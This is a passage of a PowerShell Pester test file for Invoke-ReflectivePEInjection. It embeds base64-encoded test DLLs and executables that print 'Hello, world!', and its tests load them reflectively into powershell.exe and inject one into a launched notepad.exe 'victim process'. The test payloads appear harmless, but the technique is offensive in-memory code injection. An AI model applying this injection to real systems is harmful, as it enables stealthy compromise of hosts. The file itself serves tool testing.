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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAJgQAABAIgAAmBAAAHwRAABQIgAAfBEAAIwRAABoIgAAjBEAAFoSAAB4IgAAXBIAAL8SAACAIgAAwBIAADAUAACIIgAAMBQAAEIUAAB4IgAARBQAAHwUAAB4IgAAfBQAAJMUAAB4IgAA8BQAAD0VAACoIgAAcBUAABwWAADMIgAAIBYAAG4WAAAAIwAAcBYAACAXAADYIgAAIBcAADcXAAB4IgAAOBcAAHAXAAAIIwAAcBcAAKgXAAAIIwAA4BcAAP4XAAD4IgAAABgAACAYAAD4IgAAIBgAADsYAAD4IgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAFAAAACihQKFIoVChCKIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitExe = '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' + + $WideStrDllBytes32 = [Convert]::FromBase64String($Encoded32BitWStringDll) + $StrDllBytes32 = [Convert]::FromBase64String($Encoded32BitStringDll) + $VoidDllBytes32 = [Convert]::FromBase64String($Encoded32BitVoidDll) + $WideStrDllBytes64 = [Convert]::FromBase64String($Encoded64BitWStringDll) + $StrDllBytes64 = [Convert]::FromBase64String($Encoded64BitStringDll) + $VoidDllBytes64 = [Convert]::FromBase64String($Encoded64BitVoidDll) + $ExeBytes32 = [Convert]::FromBase64String($Encoded32BitExe) + $ExeBytes64 = [Convert]::FromBase64String($Encoded64BitExe) + + if ([IntPtr]::Size -eq 4) { + $PowerShell32bit = $True + $WideStrDllBytes = $WideStrDllBytes32 + $StrDllBytes = $StrDllBytes32 + $VoidDllBytes = $VoidDllBytes32 + $ExeBytes = $ExeBytes32 + } else { + $PowerShell32bit = $False + $WideStrDllBytes = $WideStrDllBytes64 + $StrDllBytes = $StrDllBytes64 + $VoidDllBytes = $VoidDllBytes64 + $ExeBytes = $ExeBytes64 + } + + Context 'DLL loading' { + It 'should load a DLL (wchar_t*) in memory within powershell.exe and returns "Hello, world!"' { + $Result = Invoke-ReflectivePEInjection -PEBytes $WideStrDllBytes -FuncReturnType WString -DoNotZeroMZ + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (char*) in memory within powershell.exe and returns "Hello, world!"' { + $Result = Invoke-ReflectivePEInjection -PEBytes $StrDllBytes -FuncReturnType String -DoNotZeroMZ + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (void) in memory within powershell.exe and writes "Hello, world!" to %TEMP%\testoutput.txt' { + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + + Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -FuncReturnType Void -DoNotZeroMZ + + Start-Sleep -Seconds 2 + $TestOutputPath | Should Exist + $Result = Get-Content $TestOutputPath + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should load a DLL (void) in memory within notepad.exe and write "Hello, world!" to %TEMP%\testoutput.txt' { + $64BitOS = $False + if ($Env:ProgramW6432) { $64BitOS = $True } + + # When launching notepad.exe, the bitness of the process needs to match that of powershell.exe + if ($PowerShell32bit -and $64BitOS) { + # 32-bit PowerShell on a 64-bit OS needs to launch Wow64 notepad + $NotepadPath = "$($Env:SystemRoot)\SysWow64\notepad.exe" + } else { + $NotepadPath = "$($Env:SystemRoot)\System32\notepad.exe" + } + + $NotepadProc = Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $NotepadPath + + if ($NotepadProc.ReturnValue -ne 0) { + throw 'Could not start victim process: notepad.exe' + } + + $VictimPID = $NotepadProc.ProcessId + + $TestOutputPath = Join-Path $Env:TEMP 'testoutput.txt' + if (Test-Path $TestOutputPath) { Remove-Item $TestOutputPath } + + Invoke-ReflectivePEInjection -PEBytes $VoidDllBytes -ProcId $VictimPID -DoNotZeroMZ + + $Result = Get-Content $TestOutputPath + + Start-Sleep -Seconds 2 + + Stop-Process -Id $VictimPID + + $Result | Should Not BeNullOrEmpty + $Result | Should Be 'Hello, world!' + } + + It 'should not load a DLL in memory within powershell.exe when the bitness of powershell.exe and the DLL do not match.' { + if ($PowerShell32bit) { + $PEBytes = $WideStrDllBytes64 + } else { + $PEBytes = $WideStrDllBytes32 + } + + # Attempt to load the wide string DLL in memory with a mismatched bitness + { Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -DoNotZeroMZ } | Should Throw + } + + It 'should not load a 